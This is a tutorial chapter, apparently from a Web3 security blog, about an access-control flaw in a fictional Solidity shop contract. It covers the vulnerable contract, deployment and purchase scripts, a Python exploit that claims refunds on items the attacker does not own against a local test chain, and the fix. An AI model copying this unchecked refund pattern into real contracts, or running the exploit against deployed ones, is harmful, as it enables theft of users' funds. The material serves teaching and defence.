Refunds Gone Wrong: How Access Control Flaws Can Drain Your Contract

17 min read

November 17, 2024

Web3 Exploitation Fundamentals: Navigating Security in Decentralized Systems
Refunds Gone Wrong: How Access Control Flaws Can Drain Your Contract

Table of contents

Access Control Vulnerabilities in Smart Contracts

In smart contract security, enforcing strict access control is critical to protect contracts from unauthorized actions that could lead to abuse. Access control vulnerabilities—where an attacker gains access to functions meant for specific users—are common in blockchain and can lead to significant losses or unwanted behavior, especially in contracts handling assets or funds.

In this chapter, we’ll walk through an access control vulnerability in a fictional Magic Item Shop smart contract, designed to allow users to buy, gift, and return magical items. However, there’s an exploitable flaw within the refund process, showcasing how insufficient access control can be a security risk, even in seemingly straightforward functions.

Here’s our plan of action:

  1. Contract Overview: We’ll start by reviewing the Magic Item Shop contract to understand its intended behavior and user roles.
  2. Deploying the Contract: I’ll provide a script to deploy this contract locally, allowing you to interact with it directly.
  3. Examining the Code: We’ll observe how functions manage ownership and access, simulating typical user actions.
  4. Exploit Walkthrough: We’ll exploit the access control flaw, triggering unauthorized refunds to highlight the risk.
  5. Security Takeaways: Finally, we’ll cover key security principles for managing access control in smart contracts to avoid similar vulnerabilities.

By the end of this chapter, you’ll understand how access control oversights can lead to serious vulnerabilities in smart contracts and learn strategies for protecting them. Let’s get started!

Explanation of the Smart Contract: Magic Item Shop

The Magic Item Shop is a smart contract that sets up a simple marketplace where users can buy, gift, and even return magical items with different levels of rarity and prices. Each item has a unique ID, a rarity level (like "common" or "legendary"), a set price in Ether, and an owner. This contract is set up to let users trade and manage these items, while also allowing the shop owner to add new ones. Let’s walk through how it works.

Magic Item Shop contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MagicItemShop {
    address public owner;
    address public shopAddress;
    uint256 public itemCount;

    struct Item {
        uint256 id;
        string name;
        string rarity;
        uint256 price;
        address currentOwner;
    }

    mapping(uint256 => Item) public items;

    event ItemAdded(uint256 itemId, string name, string rarity, uint256 price);
    event ItemPurchased(uint256 itemId, address indexed buyer, uint256 price);
    event ItemReturned(
        uint256 itemId,
        address indexed returner,
        uint256 refund
    );
    event OwnershipTransferred(uint256 itemId, address indexed newOwner);

    constructor() {
        owner = msg.sender;
        shopAddress = address(this);
    }

    // Modifier to restrict certain actions to the contract owner
    modifier onlyOwner() {
        require(msg.sender == owner, "Caller is not the owner");
        _;
    }

    // Add a new item to the shop (only the owner can add items)
    function addItem(
        string memory name,
        string memory rarity,
        uint256 price
    ) public onlyOwner {
        items[itemCount] = Item(itemCount, name, rarity, price, shopAddress);
        emit ItemAdded(itemCount, name, rarity, price);
        itemCount++;
    }

    // Purchase an item by paying the specified price
    function purchaseItem(uint256 itemId) public payable {
        require(itemId < itemCount, "Item does not exist");
        Item storage item = items[itemId];
        require(item.currentOwner == shopAddress, "Item already sold");
        require(msg.value >= item.price, "Insufficient funds to purchase item");

        item.currentOwner = msg.sender;
        emit ItemPurchased(itemId, msg.sender, msg.value);
    }

    // Function that lets users "return" an item to the shop
    function returnItemToShop(uint256 itemId) public {
        Item storage item = items[itemId];

        // Refund is set to half of the original price
        uint256 refundAmount = item.price / 2;

        item.currentOwner = shopAddress;
        payable(msg.sender).transfer(refundAmount);

        emit ItemReturned(itemId, msg.sender, refundAmount);
    }

    // Function to "gift" an item to another user (accessible by the item owner only)
    function giftItem(uint256 itemId, address newOwner) public {
        require(newOwner != address(0), "New owner cannot be zero address");
        require(
            msg.sender == items[itemId].currentOwner,
            "Only item owner can gift"
        );

        items[itemId].currentOwner = newOwner;
        emit OwnershipTransferred(itemId, newOwner);
    }

    // Get the list of items currently available for sale
    function getItemsForSale() public view returns (Item[] memory) {
        // Count how many items are still for sale
        uint256 unsoldItemCount = 0;
        for (uint256 i = 0; i < itemCount; i++) {
            if (items[i].currentOwner == shopAddress) {
                unsoldItemCount++;
            }
        }

        // Create an array to store unsold items
        Item[] memory unsoldItems = new Item[](unsoldItemCount);
        uint256 index = 0;

        // Populate the array with items that are still for sale
        for (uint256 i = 0; i < itemCount; i++) {
            if (items[i].currentOwner == shopAddress) {
                unsoldItems[index] = items[i];
                index++;
            }
        }

        return unsoldItems;
    }
}

First up is the addItem function. This function is what the shop owner uses to add new items to the store. When the owner calls addItem, they specify the item’s name, rarity, and price, and the item gets added to a list with a unique ID. Only the owner of the contract can add items, which is important for keeping control over what’s in the shop. Here’s the code for addItem:

function addItem(string memory name, string memory rarity, uint256 price) public onlyOwner {
    items[itemCount] = Item(itemCount, name, rarity, price, shopAddress);
    itemCount++;
}

Next, we have purchaseItem, the function that lets users buy an item from the shop. When someone calls purchaseItem, they send the required amount of Ether for the item they want. The contract checks that the item exists, that it hasn’t already been sold, and that the buyer has sent enough Ether to cover the price. If all these checks pass, the function transfers ownership of the item from the shop to the buyer’s address, making them the new owner. Here’s the code for purchaseItem:

function purchaseItem(uint256 itemId) public payable {
    require(itemId < itemCount, "Item does not exist");
    Item storage item = items[itemId];
    require(item.currentOwner == shopAddress, "Item already sold");
    require(msg.value >= item.price, "Insufficient funds to purchase item");

    item.currentOwner = msg.sender;
}

The contract also includes a giftItem function, which allows users who already own an item to give it to someone else. This could be useful for gifting items to friends or trading within the marketplace. Before transferring the item, the function checks to make sure the caller is actually the current owner. Once confirmed, it then assigns the new owner’s address to the item. This function is straightforward but essential for enabling transfers between users. Here’s how giftItem is set up:

function giftItem(uint256 itemId, address newOwner) public {
    require(newOwner != address(0), "New owner cannot be zero address");
    require(msg.sender == items[itemId].currentOwner, "Only item owner can gift");

    items[itemId].currentOwner = newOwner;
}

Finally, we come to returnItemToShop, which allows users to “sell back” items they no longer want. The idea here is simple: users can return an item to the shop and receive a partial refund (half of the item’s price). The function transfers the Ether back to the user and marks the item’s owner as the shop again, as if the item were back on the shelf.

function returnItemToShop(uint256 itemId) public {
    Item storage item = items[itemId];

    // Refund is set to half of the original price
    uint256 refundAmount = item.price / 2;

    // No access control: anyone can call this function and change the owner
    item.currentOwner = shopAddress;
    payable(msg.sender).transfer(refundAmount);
}

Script for Deploying the Magic Item Shop Contract

Here, we’re going to walk through the script that deploys our Magic Item Shop contract and sets it up with a few magical items for users to buy. This deployment script is written in JavaScript using Hardhat, a tool that makes working with Ethereum smart contracts easier. Not only does this script handle deploying the contract, but it also adds some initial items to the shop with specific names, rarities, and prices, so our contract is ready to go right after deployment.

Deployment Script
// Import Hardhat Runtime Environment and ethers
const hre = require("hardhat");

async function main() {
  // Get the contract factory and deploy the MagicItemShop contract
  const MagicItemShop = await hre.ethers.getContractFactory("MagicItemShop");
  const shop = await MagicItemShop.deploy();
  await shop.waitForDeployment();

  console.log("MagicItemShop deployed to:", shop.target);

  // Define items to add to the shop
  const items = [
    {
      name: "Sword of Flames",
      rarity: "Rare",
      price: hre.ethers.parseEther("1"),
    },
    {
      name: "Shield of Light",
      rarity: "Uncommon",
      price: hre.ethers.parseEther("0.5"),
    },
    {
      name: "Staff of Wisdom",
      rarity: "Epic",
      price: hre.ethers.parseEther("2"),
    },
    {
      name: "Potion of Healing",
      rarity: "Common",
      price: hre.ethers.parseEther("0.1"),
    },
    {
      name: "Ring of Invisibility",
      rarity: "Legendary",
      price: hre.ethers.parseEther("5"),
    },
  ];

  // Loop through each item and add it to the shop
  for (const item of items) {
    const tx = await shop.addItem(item.name, item.rarity, item.price);
    await tx.wait();
    console.log(
      `Added item: ${item.name} - Rarity: ${
        item.rarity
      } - Price: ${hre.ethers.formatEther(item.price)} ETH`
    );
  }

  console.log("Shop initialized with items!");
}

// Run the deployment and initialization script
main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

Let’s break down how it works.

The script starts by importing Hardhat’s runtime environment (hre) and the ethers library. Hardhat helps manage the whole process of deploying and testing contracts, while ethers gives us tools for interacting with the Ethereum blockchain. Here’s what that setup looks like:

// Import Hardhat Runtime Environment and ethers
const hre = require("hardhat");

Next, we define an asynchronous function called main() that handles the deployment and setup steps. Inside main(), we first get the contract factory for MagicItemShop, which is like a blueprint that lets us deploy a new instance of the contract. To actually deploy it, we call MagicItemShop.deploy(), which sends the contract code to the blockchain. We then wait for the deployment to complete with shop.waitForDeployment(), and once it’s done, we log the contract’s address to confirm everything went smoothly.

async function main() {
  // Get the contract factory and deploy the MagicItemShop contract
  const MagicItemShop = await hre.ethers.getContractFactory("MagicItemShop");
  const shop = await MagicItemShop.deploy();
  await shop.waitForDeployment();

  console.log("MagicItemShop deployed to:", shop.target);

With the contract deployed, the next part of the script defines a set of magical items to add to the shop. We create an array called items, where each entry is an item with a name, rarity, and price. The prices are set in Ether, and we use hre.ethers.parseEther to convert these amounts to Wei (the smallest unit of Ether) so they’re ready for the blockchain. This initial inventory makes sure the shop has items ready for users as soon as the contract is live.

  // Define items to add to the shop
  const items = [
    {
      name: "Sword of Flames",
      rarity: "Rare",
      price: hre.ethers.parseEther("1"),
    },
    {
      name: "Shield of Light",
      rarity: "Uncommon",
      price: hre.ethers.parseEther("0.5"),
    },
    {
      name: "Staff of Wisdom",
      rarity: "Epic",
      price: hre.ethers.parseEther("2"),
    },
    {
      name: "Potion of Healing",
      rarity: "Common",
      price: hre.ethers.parseEther("0.1"),
    },
    {
      name: "Ring of Invisibility",
      rarity: "Legendary",
      price: hre.ethers.parseEther("5"),
    },
  ];

After defining the items, the script loops through each item in the array and calls the addItem function on the contract to add it to the shop. We use await here to ensure each item is added one at a time, and tx.wait() to wait for each transaction to complete before moving to the next item. As each item is added, the script logs its name, rarity, and price in Ether so we can keep track of what’s been initialized.

  // Loop through each item and add it to the shop
  for (const item of items) {
    const tx = await shop.addItem(item.name, item.rarity, item.price);
    await tx.wait();
    console.log(
      `Added item: ${item.name} - Rarity: ${
        item.rarity
      } - Price: ${hre.ethers.formatEther(item.price)} ETH`
    );
  }

  console.log("Shop initialized with items!");
}

Finally, we include a main().catch(...) line to handle any errors that might pop up during deployment. If something goes wrong, this line will catch the error, print it to the console, and set the exit code to 1 (indicating a failure), which can be helpful for debugging.

// Run the deployment and initialization script
main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});
Running the deployment script

Introduction to the Attack

Now that we’ve deployed our Magic Item Shop contract and stocked it with a selection of magical items, we’re ready to examine a potential vulnerability lurking within. The shop is designed to offer users flexibility—allowing them to buy, gift, and even return items for a partial refund. But while these features provide a smooth user experience, there’s a hidden issue in the returnItemToShop function that could be a problem if it falls into the wrong hands.

Normally, we’d expect that only the true owner of an item could return it to the shop and receive a refund. However, the current contract doesn’t actually check that the caller owns the item they’re trying to return. This oversight opens the door to an exploit where someone could “return” high-value items they don’t own and repeatedly claim refunds, potentially draining funds from the shop.

To understand how this might unfold, we’ll start by simulating some regular user activity. We’ll have a few different accounts make legitimate purchases to populate the shop with items that are now user-owned. This will help illustrate the normal flow of the contract and give us a realistic starting point before we look into how the exploit works.

After we’ve set up these purchases, we’ll dive into the exploit itself and see exactly how this lack of ownership verification can be used to take advantage of the refund mechanism. Let’s begin with the script to simulate user purchases in our shop.

Simulating User Purchases

Before diving into any potential exploit, it’s helpful to see the contract in action through normal user behavior. Here, we’re simulating a few different users purchasing items from the shop. This gives us a sense of how the contract operates in a typical scenario and sets up some items as owned by individual users rather than the shop.

Simulating User Purchases Code
from web3 import Web3
import json

# Connect to the Ethereum network (e.g., Ganache or testnet)
w3 = Web3(Web3.HTTPProvider("http://127.0.0.1:7545"))  # Replace with your network URL

# Replace with the deployed contract address
contract_address = "0xf223CA80ec911fcf19e34c252f1180De4A718368"

# %% Open the ABI
with open("MagicItemShop.json") as f:
    contract_json = json.load(f)
    contract_abi = contract_json["abi"]

# Initialize the contract
contract = w3.eth.contract(address=contract_address, abi=contract_abi)

accounts = [
    {"address": "0x76e4E33674fDc3410Dc7df5E13fa4A5279028425", "private_key": "0xe859ec36ddd09c33cff090ea84e2560fba29c2996d9bd9cac3b0d60ddcca8a14", "item_id": 0},
    {"address": "0xE324804B2d3018b8d3Ef7c82343af3499C897c01", "private_key": "0x63575a691ba6ac055c6861202668cf62e8eb5527210736f78dedb7dc3a5efa93", "item_id": 1},
    {"address": "0xce47F784C297c0F26c654a1a956121CeEFee8CFf", "private_key": "0x0836982a10b4d719bd59d6dfb82ae810eebf33451ad7e9e55b799899c4ec58c0", "item_id": 2},
]

# Function to simulate purchases by different accounts
def simulate_purchases():
    for account in accounts:
        # Retrieve the item details to get the price
        item = contract.functions.items(account["item_id"]).call()
        price = item[3]  # Price is the fourth item in the returned tuple

        # Build the transaction to purchase the item
        tx = contract.functions.purchaseItem(account["item_id"]).build_transaction({
            'from': account["address"],
            'value': price,
            'nonce': w3.eth.get_transaction_count(account["address"]),
            'gas': 200000,
            'gasPrice': w3.to_wei('50', 'gwei')
        })

        # Sign the transaction with the account's private key
        signed_tx = w3.eth.account.sign_transaction(tx, account["private_key"])

        # Send the transaction to the network
        tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)

        # Wait for the transaction receipt to confirm it
        tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)

        # Check if the purchase was successful
        if tx_receipt.status == 1:
            print(f"Account {account['address']} successfully purchased item {account['item_id']}")
        else:
            print(f"Account {account['address']} failed to purchase item {account['item_id']}")

# Run the simulation
simulate_purchases()

In this simulation, we have three different accounts, each buying a specific item from the shop. Each account is represented by an Ethereum address and a private key. This setup allows us to simulate individual users making purchases, where each user buys an item and becomes its new owner.

Let’s walk through the code step-by-step to see how it works.

Setting Up the Connection and Contract

We begin by setting up the connection to the Ethereum network and loading the deployed contract. Here, we specify the network address (in this case, Ganache or another test network) and provide the contract address so that we can interact with it. We also load the contract’s ABI (Application Binary Interface) to ensure our script knows the structure of the contract and its available functions.

from web3 import Web3
import json

# Connect to the Ethereum network (e.g., Ganache or testnet)
w3 = Web3(Web3.HTTPProvider("http://127.0.0.1:7545"))  # Replace with your network URL

# Replace with the deployed contract address
contract_address = "0xf223CA80ec911fcf19e34c252f1180De4A718368"

# Open the ABI file
with open("MagicItemShop.json") as f:
    contract_json = json.load(f)
    contract_abi = contract_json["abi"]

# Initialize the contract instance
contract = w3.eth.contract(address=contract_address, abi=contract_abi)

Defining the Accounts and Target Items

Next, we define a list of accounts. Each account is associated with an Ethereum address, a private key, and an item ID for the item they will purchase. This setup allows us to simulate different users, each buying a unique item from the shop. Here’s how the accounts are defined:

accounts = [
    {"address": "0x76e4E33674fDc3410Dc7df5E13fa4A5279028425", "private_key": "0xe859ec36ddd09c33cff090ea84e2560fba29c2996d9bd9cac3b0d60ddcca8a14", "item_id": 0},
    {"address": "0xE324804B2d3018b8d3Ef7c82343af3499C897c01", "private_key": "0x63575a691ba6ac055c6861202668cf62e8eb5527210736f78dedb7dc3a5efa93", "item_id": 1},
    {"address": "0xce47F784C297c0F26c654a1a956121CeEFee8CFf", "private_key": "0x0836982a10b4d719bd59d6dfb82ae810eebf33451ad7e9e55b799899c4ec58c0", "item_id": 2},
]

Simulating the Purchases

The core of the simulation happens in the simulate_purchases function. This function loops through each account in the accounts list, retrieves the item’s price, builds a transaction to purchase the item, signs it with the account’s private key, and sends it to the network. Let’s break it down:

  1. Retrieve Item Price: For each account, we first call the items function on the contract to get details about the item, including its price. The price is essential, as we need to send the correct amount of Ether to make the purchase.
item = contract.functions.items(account["item_id"]).call()
price = item[3]  # Price is the fourth item in the returned tuple
  1. Build and Sign the Transaction: Once we have the item’s price, we build the transaction to call purchaseItem with the item ID. We include the Ether value in value, as well as the sender’s address and gas details. After building the transaction, we sign it using the account’s private key.
tx = contract.functions.purchaseItem(account["item_id"]).build_transaction({
    'from': account["address"],
    'value': price,
    'nonce': w3.eth.get_transaction_count(account["address"]),
    'gas': 200000,
    'gasPrice': w3.to_wei('50', 'gwei')
})

signed_tx = w3.eth.account.sign_transaction(tx, account["private_key"])
  1. Send the Transaction and Wait for Confirmation: With the transaction signed, we send it to the network and wait for a receipt to confirm that it was mined successfully. If the status in the receipt is 1, the purchase was successful; otherwise, it failed.
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)

# Check if the purchase was successful
if tx_receipt.status == 1:
    print(f"Account {account['address']} successfully purchased item {account['item_id']}")
else:
    print(f"Account {account['address']} failed to purchase item {account['item_id']}")

Running the Simulation

Finally, we call simulate_purchases() to execute the function. Each account will attempt to buy its designated item, and if all goes well, we’ll see a confirmation message for each purchase, confirming that the items have new owners.

Purchasing items from the shop

Exploiting the Vulnerability: Taking Advantage of Unchecked Access in returnItemToShop

Now that we’ve set up the shop with items owned by different users, it’s time to explore how an attacker could exploit the returnItemToShop function to drain funds from the contract. Due to the lack of ownership checks in this function, the attacker can trigger returns on any item, even ones they don’t actually own. This allows them to claim partial refunds on high-value items repeatedly, despite never purchasing them. Let’s walk through the code used to execute this exploit.

Setting Up the Dependencies and Connection

First, we set up the necessary dependencies and establish a connection to the Ethereum network. The code also verifies the connection to make sure we’re properly connected before proceeding with the exploit.

# %% Dependencies
from web3 import Web3
import json
import time  # To add delay between transactions if needed

# Connect to the Ethereum network (e.g., local Ganache or testnet)
w3 = Web3(Web3.HTTPProvider("http://127.0.0.1:7545"))  # Replace with your network URL

# Verify the connection
print("Is connected:", w3.is_connected())

Loading the Contract and Setting Up Attacker Details

Next, we load the contract and initialize the necessary details for the attacker. We provide the contract’s address, the attacker’s address, and their private key, which will allow us to sign transactions as if we were the attacker. We then load the contract ABI from the JSON artifact, so that we can interact with its functions programmatically.

# %% Contract

# Replace with the deployed contract address and attacker details
contract_address = "0xf223CA80ec911fcf19e34c252f1180De4A718368"
attacker_address = "0xa7E1Dce14Bb439e6710c18e05C0DA71EAd3d0203"
private_key = "0x85ebe111f9cd1878845c72b10affa75fcbf300123a70c79f01cfbf65cdcd4b50"  # Attacker's private key

# Load the contract ABI from the JSON artifact
with open("MagicItemShop.json") as f:
    contract_json = json.load(f)
    contract_abi = contract_json["abi"]

# Initialize the contract instance
contract = w3.eth.contract(address=contract_address, abi=contract_abi)

# Verify contract initialization
print("Contract initialized at address:", contract.address)

Choosing the Item to Exploit

In this part, we choose a high-value item to target for the exploit. We retrieve the item’s details from the contract, including its price, which will allow us to calculate the refund amount. In this case, we’re choosing item_id = 1 for demonstration purposes.

# %% Choose the item id to exploit

# Define the item ID the attacker wants to exploit
item_id = 1  # Replace with the ID of a valuable item

# Retrieve item details to confirm
item = contract.functions.items(item_id).call()
print("Item details:", item)

# Extract price and calculate refund amount
price = item[3]  # Price is the fourth item in the returned tuple
refund_amount = price // 2  # Refund is half the item's price
print(f"Price: {price} wei, Refund amount: {refund_amount} wei")
Choosing the target

Building and Sending the Exploit Transaction

Now we’re ready to initiate the exploit. We build a transaction to call the returnItemToShop function on the targeted item. The transaction includes the attacker’s address and sets a gas limit to ensure it processes efficiently. After building the transaction, we sign it with the attacker’s private key and send it to the network.

# %% Transaction

# Build the transaction to call returnItemToShop on the targeted item
tx = contract.functions.returnItemToShop(item_id).build_transaction({
    'from': attacker_address,
    'nonce': w3.eth.get_transaction_count(attacker_address),
    'gas': 100000,
    'gasPrice': w3.to_wei('50', 'gwei')
})

# Sign the transaction
signed_tx = w3.eth.account.sign_transaction(tx, private_key)

# Send the transaction to the network
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)

print("Transaction sent! Hash:", tx_hash.hex())

Checking the Transaction Receipt

After sending the transaction, we check the transaction receipt to confirm whether the exploit was successful. If the tx_receipt.status is 1, it means the transaction was mined successfully, and the attacker would have received the refund amount. This output confirms whether the exploit has succeeded in triggering the refund for the item.

Amount of Ehterium held by the attacker before running the exploit
Results after running the exploit
Amount of Etherium held by the attacker after running the exploit

Fixing the Vulnerability: Adding Ownership Verification

Now that we’ve seen how the lack of access control in returnItemToShop opens up the contract to exploitation, let’s look at how we can fix it. The vulnerability stems from the fact that anyone can call returnItemToShop on any item, regardless of whether they own it. This oversight allows unauthorized users to repeatedly claim refunds for items they don’t actually own, which can drain the contract’s funds over time.

To fix this issue, we need to add a check in returnItemToShop to ensure that only the legitimate owner of an item can return it for a refund. By verifying the caller’s address (msg.sender) against the currentOwner of the item, we can restrict refunds to the true owner, closing off the possibility of unauthorized refunds.

Implementing the Fix

The fix involves adding a single line of code to the returnItemToShop function that checks if the caller is the item’s current owner. If msg.sender (the caller) doesn’t match item.currentOwner, the transaction will be reverted, preventing unauthorized returns.

Here’s how the updated function would look:

function returnItemToShop(uint256 itemId) public {
    Item storage item = items[itemId];

    // **New check to confirm caller is the item's owner**
    require(item.currentOwner == msg.sender, "Only the item owner can return it");

    // Refund is set to half of the original price
    uint256 refundAmount = item.price / 2;

    // Set the item ownership back to the shop
    item.currentOwner = shopAddress;
    payable(msg.sender).transfer(refundAmount);
}

How This Fix Works

With this new line, the contract first checks that msg.sender (the caller’s address) matches item.currentOwner before proceeding. If the caller isn’t the item’s current owner, the function call fails with the error message "Only the item owner can return it". This verification ensures that only the true owner of the item can execute a return, preventing anyone else from accessing refunds they’re not entitled to.

Conclusions

In this article, we examined a common yet often overlooked vulnerability in smart contracts: insufficient access control. By dissecting the Magic Item Shop contract, we saw how a lack of ownership checks in the returnItemToShop function created an exploit pathway, allowing an attacker to repeatedly claim refunds on items they didn’t own. This type of vulnerability, though easy to miss, can result in severe consequences, especially in contracts handling assets or funds.

This example highlights the importance of strict access control in smart contract security. Anytime a function involves asset transfers, refunds, or ownership changes, it’s crucial to verify that only authorized users can perform these actions. Even basic checks—such as ensuring the caller is the item owner—can make a significant difference in preventing exploits.

Key takeaways for pentesters include:

  • Implement Ownership Verification: Confirm that the caller is a legitimate owner or authorized user before allowing access to sensitive functions.
  • Test for Edge Cases: Beyond standard tests, simulate unauthorized access attempts, especially in functions that involve funds or asset management.
  • Think Like an Attacker: Anticipate how a malicious actor might exploit your contract, allowing you to identify and mitigate potential vulnerabilities proactively.

By applying these principles, developers and pentesters alike can better secure contracts and protect users from potential exploits. As smart contracts grow in popularity and manage larger assets, rigorous security practices have become essential.

Resources

Chapters

Botón Anterior
Exploiting Predictable Randomness in Ethereum Smart Contracts

Previous chapter

The Traitor Within: Reentrancy Attacks Explained and Resolved

Next chapter